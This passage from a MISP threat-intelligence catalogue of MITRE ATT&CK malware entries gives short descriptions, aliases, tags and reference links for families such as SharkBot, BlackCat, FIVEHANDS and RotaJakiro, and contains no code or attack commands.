- StrongPity

Table 11320. Table References

Links
https://attack.mitre.org/software/S0491
https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html

https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf

SharkBot - S1055

[SharkBot](https://attack.mitre.org/software/S1055) is a banking malware, first discovered in October 2021, that tries to initiate money transfers directly from compromised devices by abusing Accessibility Services.(Citation: nccgroup_sharkbot_0322)

The tag is: *misp-galaxy:mitre-malware="SharkBot - S1055"*

SharkBot - S1055 is also known as:

- SharkBot

Table 11321. Table References

Links
https://attack.mitre.org/software/S1055
https://research.nccgroup.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/

WINDSHIELD - S0155

[WINDSHIELD](https://attack.mitre.org/software/S0155) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)

The tag is: *misp-galaxy:mitre-malware="WINDSHIELD - S0155"*

Table 11322. Table References

Links
https://attack.mitre.org/software/S0155
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

GoldenEagle - S0551

[GoldenEagle](https://attack.mitre.org/software/S0551) is a piece of Android malware that has been used in targeting of Uyghurs, Muslims, Tibetans, individuals in Turkey, and individuals in China. Samples have been found as early as 2012.(Citation: Lookout Uyghur Campaign)

The tag is: *misp-galaxy:mitre-malware="GoldenEagle - S0551"*

GoldenEagle - S0551 is also known as:

- GoldenEagle

Table 11323. Table References

Links
https://attack.mitre.org/software/S0551
https://www.lookout.com/documents/threat-reports/us/lookout-uyghur-malware-tr-us.pdf

WellMail - S0515

[WellMail](https://attack.mitre.org/software/S0515) is a lightweight malware written in Golang used by [APT29](https://attack.mitre.org/groups/G0016), similar in design and structure to [WellMess](https://attack.mitre.org/software/S0514).(Citation: CISA WellMail July 2020)(Citation: NCSC APT29 July 2020)

The tag is: *misp-galaxy:mitre-malware="WellMail - S0515"*

WellMail - S0515 is also known as:

- WellMail

Table 11324. Table References

Links
https://attack.mitre.org/software/S0515
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c
https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf

SombRAT - S0615

[SombRAT](https://attack.mitre.org/software/S0615) is a modular backdoor written in C++ that has been used since at least 2019 to download and execute malicious payloads, including [FIVEHANDS](https://attack.mitre.org/software/S0618) ransomware.(Citation: BlackBerry CostaRicto November 2020)(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)

The tag is: *misp-galaxy:mitre-malware="SombRAT - S0615"*

SombRAT - S0615 is also known as:

- SombRAT

Table 11325. Table References

Links
https://attack.mitre.org/software/S0615
https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a
https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html

BoxCaon - S0651

[BoxCaon](https://attack.mitre.org/software/S0651) is a Windows backdoor that was used by [IndigoZebra](https://attack.mitre.org/groups/G0136) in a 2021 spearphishing campaign against Afghan government officials. [BoxCaon](https://attack.mitre.org/software/S0651)'s name stems from similarities shared with the malware family [xCaon](https://attack.mitre.org/software/S0653).(Citation: Checkpoint IndigoZebra July 2021)

The tag is: *misp-galaxy:mitre-malware="BoxCaon - S0651"*

BoxCaon - S0651 is also known as:

- BoxCaon

Table 11326. Table References

Links
https://attack.mitre.org/software/S0651
https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/
https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html

SoreFang - S0516

[SoreFang](https://attack.mitre.org/software/S0516) is first stage downloader used by [APT29](https://attack.mitre.org/groups/G0016) for exfiltration and to load other malware.(Citation: NCSC APT29 July 2020)(Citation: CISA SoreFang July 2016)

The tag is: *misp-galaxy:mitre-malware="SoreFang - S0516"*

SoreFang - S0516 is also known as:

- SoreFang

Table 11327. Table References

Links
https://attack.mitre.org/software/S0516
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a
https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf

KOMPROGO - S0156

[KOMPROGO](https://attack.mitre.org/software/S0156) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050) that is capable of process, file, and registry management. (Citation: FireEye APT32 May 2017)

The tag is: *misp-galaxy:mitre-malware="KOMPROGO - S0156"*

KOMPROGO - S0156 is also known as:

- KOMPROGO

Table 11328. Table References

Links
https://attack.mitre.org/software/S0156
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

GuLoader - S0561

[GuLoader](https://attack.mitre.org/software/S0561) is a file downloader that has been used since at least December 2019 to distribute a variety of remote administration tool (RAT) malware, including [NETWIRE](https://attack.mitre.org/software/S0198), [Agent Tesla](https://attack.mitre.org/software/S0331), [NanoCore](https://attack.mitre.org/software/S0336), FormBook, and Parallax RAT.(Citation: Unit 42 NETWIRE April 2020)(Citation: Medium Eli Salem GuLoader April 2021)

The tag is: *misp-galaxy:mitre-malware="GuLoader - S0561"*

GuLoader - S0561 is also known as:

- GuLoader

Table 11329. Table References

Links
https://attack.mitre.org/software/S0561
https://elis531989.medium.com/dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fb15cb4
https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/

OSInfo - S0165

[OSInfo](https://attack.mitre.org/software/S0165) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to do internal discovery on a victim's computer and network. (Citation: Symantec Buckeye)

The tag is: *misp-galaxy:mitre-malware="OSInfo - S0165"*

OSInfo - S0165 is also known as:

- OSInfo

Table 11330. Table References

Links

http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong
https://attack.mitre.org/software/S0165

TianySpy - S1056

[TianySpy](https://attack.mitre.org/software/S1056) is a mobile malware primarily spread by SMS phishing between September 30 and October 12, 2021. [TianySpy](https://attack.mitre.org/software/S1056) is believed to have targeted credentials associated with membership websites of major Japanese telecommunication services.(Citation: trendmicro_tianyspy_0122)

The tag is: *misp-galaxy:mitre-malware="TianySpy - S1056"*

TianySpy - S1056 is also known as:

- TianySpy

Table 11331. Table References

Links
https://attack.mitre.org/software/S1056
https://www.trendmicro.com/en_us/research/22/a/tianyspy-malware-uses-smishing-disguised-as-message-from-telco.html

KOPILUWAK - S1075

[KOPILUWAK](https://attack.mitre.org/software/S1075) is a JavaScript-based reconnaissance tool that has been used for victim profiling and C2 since at least 2017.(Citation: Mandiant Suspected Turla Campaign February 2023)

The tag is: *misp-galaxy:mitre-malware="KOPILUWAK - S1075"*

KOPILUWAK - S1075 is also known as:

- KOPILUWAK

Table 11332. Table References

Links
https://attack.mitre.org/software/S1075
https://www.mandiant.com/resources/blog/turla-galaxy-opportunity

SOUNDBITE - S0157

[SOUNDBITE](https://attack.mitre.org/software/S0157) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)

The tag is: *misp-galaxy:mitre-malware="SOUNDBITE - S0157"*

SOUNDBITE - S0157 is also known as:

- SOUNDBITE

View relationships graph

SOUNDBITE - S0157 has relationships with:

- similar: misp-galaxy:malpedia="SOUNDBITE" with estimative-language:likelihood-probability="likely"

Table 11333. Table References

Links
https://attack.mitre.org/software/S0157
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

Pillowmint - S0517

[Pillowmint](https://attack.mitre.org/software/S0517) is a point-of-sale malware used by [FIN7](https://attack.mitre.org/groups/G0046) designed to capture credit card information.(Citation: Trustwave Pillowmint June 2020)

The tag is: *misp-galaxy:mitre-malware="Pillowmint - S0517"*

Pillowmint - S0517 is also known as:

- Pillowmint

Table 11334. Table References

Links
https://attack.mitre.org/software/S0517
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/

SEASHARPEE - S0185

[SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell that has been used by [OilRig](https://attack.mitre.org/groups/G0049). (Citation: FireEye APT34 Webinar Dec 2017)

The tag is: *misp-galaxy:mitre-malware="SEASHARPEE - S0185"*

SEASHARPEE - S0185 is also known as:

- SEASHARPEE

Table 11335. Table References

Links

https://attack.mitre.org/software/S0185
https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east

PHOREAL - S0158

[PHOREAL](https://attack.mitre.org/software/S0158) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)

The tag is: *misp-galaxy:mitre-malware="PHOREAL - S0158"*

PHOREAL - S0158 is also known as:

- PHOREAL

Table 11336. Table References

Links
https://attack.mitre.org/software/S0158
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

PolyglotDuke - S0518

[PolyglotDuke](https://attack.mitre.org/software/S0518) is a downloader that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2013. [PolyglotDuke](https://attack.mitre.org/software/S0518) has been used to drop [MiniDuke](https://attack.mitre.org/software/S0051).(Citation: ESET Dukes October 2019)

The tag is: *misp-galaxy:mitre-malware="PolyglotDuke - S0518"*

PolyglotDuke - S0518 is also known as:

- PolyglotDuke

Table 11337. Table References

Links
https://attack.mitre.org/software/S0518
https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf

Prestige - S1058

[Prestige](https://attack.mitre.org/software/S1058) ransomware has been used by [Sandworm Team](https://attack.mitre.org/groups/G0034) since at least March 2022, including against transportation and related logistics industries in Ukraine and Poland in October 2022.(Citation: Microsoft Prestige ransomware October 2022)

The tag is: *misp-galaxy:mitre-malware="Prestige - S1058"*

Prestige - S1058 is also known as:

- Prestige

Table 11338. Table References

Links
https://attack.mitre.org/software/S1058
https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/

Sardonic - S1085

[Sardonic](https://attack.mitre.org/software/S1085) is a backdoor written in C and C++ that is known to be used by [FIN8](https://attack.mitre.org/groups/G0061), as early as August 2021 to target a financial institution in the United States. [Sardonic](https://attack.mitre.org/software/S1085) has a plugin system that can load specially made DLLs and execute their functions.(Citation: Bitdefender Sardonic Aug 2021)(Citation: Symantec FIN8 Jul 2023)

The tag is: *misp-galaxy:mitre-malware="Sardonic - S1085"*

Sardonic - S1085 is also known as:

- Sardonic

Table 11339. Table References

Links
https://attack.mitre.org/software/S1085
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor
https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf

AhRat - S1095

[AhRat](https://attack.mitre.org/software/S1095) is an Android remote access tool based on the open-source AhMyth remote access tool. [AhRat](https://attack.mitre.org/software/S1095) initially spread in August 2022 on the Google Play Store via an update containing malicious code to the previously benign application, “iRecorder – Screen Recorder,” which itself was released in September 2021.(Citation: welivesecurity_ahrat_0523)

The tag is: *misp-galaxy:mitre-malware="AhRat - S1095"*

AhRat - S1095 is also known as:

- AhRat

Table 11340. Table References

Links
https://attack.mitre.org/software/S1095
https://www.welivesecurity.com/2023/05/23/android-app-breaking-bad-legitimate-screen-recording-file-exfiltration/

SNUGRIDE - S0159

[SNUGRIDE](https://attack.mitre.org/software/S0159) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045) as first stage malware. (Citation: FireEye APT10 April 2017)

The tag is: *misp-galaxy:mitre-malware="SNUGRIDE - S0159"*

SNUGRIDE - S0159 is also known as:

- SNUGRIDE

View relationships graph

SNUGRIDE - S0159 has relationships with:

- similar: misp-galaxy:tool="SNUGRIDE" with estimative-language:likelihood-probability="likely"

Table 11341. Table References

Links
https://attack.mitre.org/software/S0159
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html

metaMain - S1059

[metaMain](https://attack.mitre.org/software/S1059) is a backdoor used by [Metador](https://attack.mitre.org/groups/G1013) to maintain long-term access to compromised machines; it has also been used to decrypt [Mafalda](https://attack.mitre.org/software/S1060) into memory.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)

The tag is: *misp-galaxy:mitre-malware="metaMain - S1059"*

metaMain - S1059 is also known as:

- metaMain

Table 11342. Table References

Links
https://assets.sentinelone.com/sentinellabs22/metador#page=1
https://attack.mitre.org/software/S1059

https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm

DEATHRANSOM - S0616

[DEATHRANSOM](https://attack.mitre.org/software/S0616) is ransomware written in C that has been used since at least 2020, and has potential overlap with [FIVEHANDS](https://attack.mitre.org/software/S0618) and [HELLOKITTY](https://attack.mitre.org/software/S0617).(Citation: FireEye FiveHands April 2021)

The tag is: *misp-galaxy:mitre-malware="DEATHRANSOM - S0616"*

DEATHRANSOM - S0616 is also known as:

- DEATHRANSOM

Table 11343. Table References

Links
https://attack.mitre.org/software/S0616
https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html

RemoteCMD - S0166

[RemoteCMD](https://attack.mitre.org/software/S0166) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to execute commands on a remote system similar to SysInternal's PSEXEC functionality. (Citation: Symantec Buckeye)

The tag is: *misp-galaxy:mitre-malware="RemoteCMD - S0166"*

RemoteCMD - S0166 is also known as:

- RemoteCMD

Table 11344. Table References

Links
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong
https://attack.mitre.org/software/S0166

DarkTortilla - S1066

[DarkTortilla](https://attack.mitre.org/software/S1066) is a highly configurable .NET-based crypter that has been possibly active since at least August 2015. [DarkTortilla](https://attack.mitre.org/software/S1066) has been used to deliver popular information stealers, RATs, and payloads such as [Agent Tesla](https://attack.mitre.org/software/S0331), AsyncRat, [NanoCore](https://attack.mitre.org/software/S0336), RedLine, [Cobalt

Strike](https://attack.mitre.org/software/S0154), and Metasploit.(Citation: Secureworks DarkTortilla Aug 2022)

The tag is: *misp-galaxy:mitre-malware="DarkTortilla - S1066"*

DarkTortilla - S1066 is also known as:

- DarkTortilla

Table 11345. Table References

Links
https://attack.mitre.org/software/S1066
https://www.secureworks.com/research/darktortilla-malware-analysis

FoggyWeb - S0661

[FoggyWeb](https://attack.mitre.org/software/S0661) is a passive and highly-targeted backdoor capable of remotely exfiltrating sensitive information from a compromised Active Directory Federated Services (AD FS) server. It has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least early April 2021.(Citation: MSTIC FoggyWeb September 2021)

The tag is: *misp-galaxy:mitre-malware="FoggyWeb - S0661"*

FoggyWeb - S0661 is also known as:

- FoggyWeb

Table 11346. Table References

Links
https://attack.mitre.org/software/S0661
https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/

QUIETCANARY - S1076

[QUIETCANARY](https://attack.mitre.org/software/S1076) is a backdoor tool written in .NET that has been used since at least 2022 to gather and exfiltrate data from victim networks.(Citation: Mandiant Suspected Turla Campaign February 2023)

The tag is: *misp-galaxy:mitre-malware="QUIETCANARY - S1076"*

QUIETCANARY - S1076 is also known as:

- QUIETCANARY
- Tunnus

Table 11347. Table References

Links
https://attack.mitre.org/software/S1076
https://www.mandiant.com/resources/blog/turla-galaxy-opportunity

FluBot - S1067

[FluBot](https://attack.mitre.org/software/S1067) is a multi-purpose mobile banking malware that was first observed in Spain in late 2020. It primarily spread through European countries using a variety of SMS phishing messages in multiple languages.(Citation: proofpoint_flubot_0421)(Citation: bitdefender_flubot_0524) An international law enforcement operation of 11 countries eventually disrupted the spread of [FluBot](https://attack.mitre.org/software/S1067).(Citation: Europol FluBot Jun2022)

The tag is: *misp-galaxy:mitre-malware="FluBot - S1067"*

FluBot - S1067 is also known as:

- FluBot

Table 11348. Table References

Links
https://attack.mitre.org/software/S1067
https://www.bitdefender.com/blog/labs/new-flubot-campaign-sweeps-through-europe-targeting-android-and-ios-users-alike/
https://www.europol.europa.eu/media-press/newsroom/news/takedown-of-sms-based-flubot-spyware-infecting-android-phones
https://www.proofpoint.com/us/blog/threat-insight/flubot-android-malware-spreading-rapidly-through-europe-may-hit-us-soon

HELLOKITTY - S0617

[HELLOKITTY](https://attack.mitre.org/software/S0617) is a ransomware written in C++ that shares similar code structure and functionality with [DEATHRANSOM](https://attack.mitre.org/software/S0616) and [FIVEHANDS](https://attack.mitre.org/software/S0618). [HELLOKITTY](https://attack.mitre.org/software/S0617) has been used since at least 2020, targets have included a Polish video game developer and a Brazilian electric power company.(Citation: FireEye FiveHands April 2021)

The tag is: *misp-galaxy:mitre-malware="HELLOKITTY - S0617"*

HELLOKITTY - S0617 is also known as:

- HELLOKITTY

Table 11349. Table References

Links
https://attack.mitre.org/software/S0617
https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html

Matryoshka - S0167

[Matryoshka](https://attack.mitre.org/software/S0167) is a malware framework used by [CopyKittens](https://attack.mitre.org/groups/G0052) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)

The tag is: *misp-galaxy:mitre-malware="Matryoshka - S0167"*

Matryoshka - S0167 is also known as:

- Matryoshka

Table 11350. Table References

Links
http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf
https://attack.mitre.org/software/S0167
https://cdn2.hubspot.net/hubfs/1903456/Whitepapers/CopyKittens.pdf

Tomiris - S0671

[Tomiris](https://attack.mitre.org/software/S0671) is a backdoor written in Go that continuously queries its C2 server for executables to download and execute on a victim system. It was first reported in September 2021 during an investigation of a successful DNS hijacking campaign against a Commonwealth of Independent States (CIS) member. Security researchers assess there are similarities between [Tomiris](https://attack.mitre.org/software/S0671) and [GoldMax](https://attack.mitre.org/software/S0588).(Citation: Kaspersky Tomiris Sep 2021)

The tag is: *misp-galaxy:mitre-malware="Tomiris - S0671"*

Tomiris - S0671 is also known as:

- Tomiris

Table 11351. Table References

Links
https://attack.mitre.org/software/S0671
https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/

Wingbird - S0176

[Wingbird](https://attack.mitre.org/software/S0176) is a backdoor that appears to be a version of commercial software [FinFisher](https://attack.mitre.org/software/S0182). It is reportedly used to attack individual computers instead of networks. It was used by [NEODYMIUM](https://attack.mitre.org/groups/G0055) in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)

The tag is: *misp-galaxy:mitre-malware="Wingbird - S0176"*

Wingbird - S0176 is also known as:

- Wingbird

Table 11352. Table References

Links
http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf
https://attack.mitre.org/software/S0176
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha

FIVEHANDS - S0618

[FIVEHANDS](https://attack.mitre.org/software/S0618) is a customized version of [DEATHRANSOM](https://attack.mitre.org/software/S0616) ransomware written in C++. [FIVEHANDS](https://attack.mitre.org/software/S0618) has been used since at least 2021, including in Ransomware-as-a-Service (RaaS) campaigns, sometimes along with [SombRAT](https://attack.mitre.org/software/S0615).(Citation: FireEye FiveHands April 2021)(Citation: NCC Group Fivehands June 2021)

The tag is: *misp-galaxy:mitre-malware="FIVEHANDS - S0618"*

FIVEHANDS - S0618 is also known as:

- FIVEHANDS

Table 11353. Table References

Links
https://attack.mitre.org/software/S0618
https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/
https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html

BlackCat - S1068

[BlackCat](https://attack.mitre.org/software/S1068) is ransomware written in Rust that has been offered via the Ransomware-as-a-Service (RaaS) model. First observed November 2021, [BlackCat](https://attack.mitre.org/software/S1068) has been used to target multiple sectors and organizations in various countries and regions in Africa, the Americas, Asia, Australia, and Europe.(Citation: Microsoft BlackCat Jun 2022)(Citation: Sophos BlackCat Jul 2022)(Citation: ACSC BlackCat Apr 2022)

The tag is: *misp-galaxy:mitre-malware="BlackCat - S1068"*

BlackCat - S1068 is also known as:

- BlackCat
- ALPHV
- Noberus

Table 11354. Table References

Links
https://attack.mitre.org/software/S1068
https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/
https://www.cyber.gov.au/about-us/advisories/2022-004-acsc-ransomware-profile-alphv-aka-blackcat
https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/

DownPaper - S0186

[DownPaper](https://attack.mitre.org/software/S0186) is a backdoor Trojan; its main functionality is to download and run second stage malware. (Citation: ClearSky Charming Kitten Dec 2017)

The tag is: *misp-galaxy:mitre-malware="DownPaper - S0186"*

DownPaper - S0186 is also known as:

- DownPaper

View relationships graph

DownPaper - S0186 has relationships with:

- similar: misp-galaxy:malpedia="DownPaper" with estimative-language:likelihood-probability="likely"

Table 11355. Table References

Links

http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf
https://attack.mitre.org/software/S0186

Gazer - S0168

[Gazer](https://attack.mitre.org/software/S0168) is a backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2016. (Citation: ESET Gazer Aug 2017)

The tag is: *misp-galaxy:mitre-malware="Gazer - S0168"*

Gazer - S0168 is also known as:

- Gazer
- WhiteBear

View relationships graph

Gazer - S0168 has relationships with:

- similar: misp-galaxy:malpedia="Gazer" with estimative-language:likelihood-probability="likely"

Table 11356. Table References

Links
https://attack.mitre.org/software/S0168
https://securelist.com/introducing-whitebear/81638/
https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf

Lizar - S0681

[Lizar](https://attack.mitre.org/software/S0681) is a modular remote access tool written using the .NET Framework that shares structural similarities to [Carbanak](https://attack.mitre.org/software/S0030). It has likely been used by [FIN7](https://attack.mitre.org/groups/G0046) since at least February 2021.(Citation: BiZone Lizar May 2021)(Citation: Threatpost Lizar May 2021)(Citation: Gemini FIN7 Oct 2021)

The tag is: *misp-galaxy:mitre-malware="Lizar - S0681"*

Lizar - S0681 is also known as:

- Lizar
- Tirion
- Icebot
- DiceLoader

Table 11357. Table References

Links
https://attack.mitre.org/software/S0681
https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319
https://geminiadvisory.io/fin7-ransomware-bastion-secure/
https://threatpost.com/fin7-backdoor-ethical-hacking-tool/166194/
https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/

PUNCHBUGGY - S0196

[PUNCHBUGGY](https://attack.mitre.org/software/S0196) is a backdoor malware used by [FIN8](https://attack.mitre.org/groups/G0061) that has been observed targeting POS networks in the hospitality industry. (Citation: Morphisec ShellTea June 2019)(Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)

The tag is: *misp-galaxy:mitre-malware="PUNCHBUGGY - S0196"*

PUNCHBUGGY - S0196 is also known as:

- PUNCHBUGGY
- ShellTea

Table 11358. Table References

Links
http://blog.morphisec.com/security-alert-fin8-is-back
https://attack.mitre.org/software/S0196
https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html
https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html

TangleBot - S1069

[TangleBot](https://attack.mitre.org/software/S1069) is SMS malware that was initially observed in September 2021, primarily targeting mobile users in the United States and Canada. [TangleBot](https://attack.mitre.org/software/S1069) has used SMS text message lures about COVID-19 regulations and vaccines to trick mobile users into downloading the malware, similar to [FluBot](https://attack.mitre.org/software/S1067) Android malware campaigns.(Citation: cloudmark_tanglebot_0921)

The tag is: *misp-galaxy:mitre-malware="TangleBot - S1069"*

TangleBot - S1069 is also known as:

- TangleBot

Table 11359. Table References

Links
https://attack.mitre.org/software/S1069
https://www.cloudmark.com/en/blog/malware/tanglebot-new-advanced-sms-malware-targets-mobile-users-across-us-and-canada-covid-19

Cheerscrypt - S1096

[Cheerscrypt](https://attack.mitre.org/software/S1096) is a ransomware that was developed by [Cinnamon Tempest](https://attack.mitre.org/groups/G1021) and has been used in attacks against ESXi and Windows environments since at least 2022. [Cheerscrypt](https://attack.mitre.org/software/S1096) was derived from the leaked [Babuk](https://attack.mitre.org/software/S0638) source code and has infrastructure overlaps with deployments of Night Sky ransomware, which was also derived from [Babuk](https://attack.mitre.org/software/S0638).(Citation: Sygnia Emperor Dragonfly October 2022)(Citation: Trend Micro Cheerscrypt May 2022)

The tag is: *misp-galaxy:mitre-malware="Cheerscrypt - S1096"*

Cheerscrypt - S1096 is also known as:

- Cheerscrypt

Table 11360. Table References

Links
https://attack.mitre.org/software/S1096
https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group
https://www.trendmicro.com/en_se/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html

Neoichor - S0691

[Neoichor](https://attack.mitre.org/software/S0691) is C2 malware used by [Ke3chang](https://attack.mitre.org/groups/G0004) since at least 2019; similar malware families used by the group include Leeson and Numbldea.(Citation: Microsoft NICKEL December 2021)

The tag is: *misp-galaxy:mitre-malware="Neoichor - S0691"*

Neoichor - S0691 is also known as:

- Neoichor

Table 11361. Table References

Links

https://attack.mitre.org/software/S0691
https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe

RawPOS - S0169

[RawPOS](https://attack.mitre.org/software/S0169) is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)

The tag is: *misp-galaxy:mitre-malware="RawPOS - S0169"*

RawPOS - S0169 is also known as:

- RawPOS
- FIENDCRY
- DUEBREW
- DRIFTWOOD

View relationships graph

RawPOS - S0169 has relationships with:

- similar: misp-galaxy:malpedia="RawPOS" with estimative-language:likelihood-probability="likely"

Table 11362. Table References

Links
http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf
https://attack.mitre.org/software/S0169
https://github.com/DiabloHorn/mempdump
https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf
https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?
https://www.kroll.com/en/insights/publications/malware-analysis-report-rawpos-malware
https://www.youtube.com/watch?v=fevGZs0EQu8

Hornbill - S1077

[Hornbill](https://attack.mitre.org/software/S1077) is one of two mobile malware families known to be used by the APT [Confucius](https://attack.mitre.org/groups/G0142). Analysis suggests that

[Hornbill](https://attack.mitre.org/software/S1077) was first active in early 2018. While [Hornbill](https://attack.mitre.org/software/S1077) and [Sunbird](https://attack.mitre.org/software/S1082) overlap in core capabilities, [Hornbill](https://attack.mitre.org/software/S1077) has tools and behaviors suggesting more passive reconnaissance.(Citation: lookout_hornbill_sunbird_0221)

The tag is: *misp-galaxy:mitre-malware="Hornbill - S1077"*

Hornbill - S1077 is also known as:

- Hornbill

Table 11363. Table References

Links
https://attack.mitre.org/software/S1077
https://www.lookout.com/blog/lookout-discovers-novel-confucius-apt-android-spyware-linked-to-india-pakistan-conflict

Daserf - S0187

[Daserf](https://attack.mitre.org/software/S0187) is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)

The tag is: *misp-galaxy:mitre-malware="Daserf - S0187"*

Daserf - S0187 is also known as:

- Daserf
- Muirim
- Nioupale

View relationships graph

Daserf - S0187 has relationships with:

- similar: misp-galaxy:malpedia="Daserf" with estimative-language:likelihood-probability="likely"

Table 11364. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/
https://attack.mitre.org/software/S0187
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses

RotaJakiro - S1078

[RotaJakiro](https://attack.mitre.org/software/S1078) is a 64-bit Linux backdoor used by [APT32](https://attack.mitre.org/groups/G0050). First seen in 2018, it uses a plugin architecture to extend capabilities. [RotaJakiro](https://attack.mitre.org/software/S1078) can determine it's permission level and execute according to access type (`root` or `user`).(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: netlab360 rotajakiro vs oceanlotus)

The tag is: *misp-galaxy:mitre-malware="RotaJakiro - S1078"*

RotaJakiro - S1078 is also known as:

- RotaJakiro

Table 11365. Table References

Links
https://attack.mitre.org/software/S1078
https://blog.netlab.360.com/rotajakiro_linux_version_of_oceanlotus/
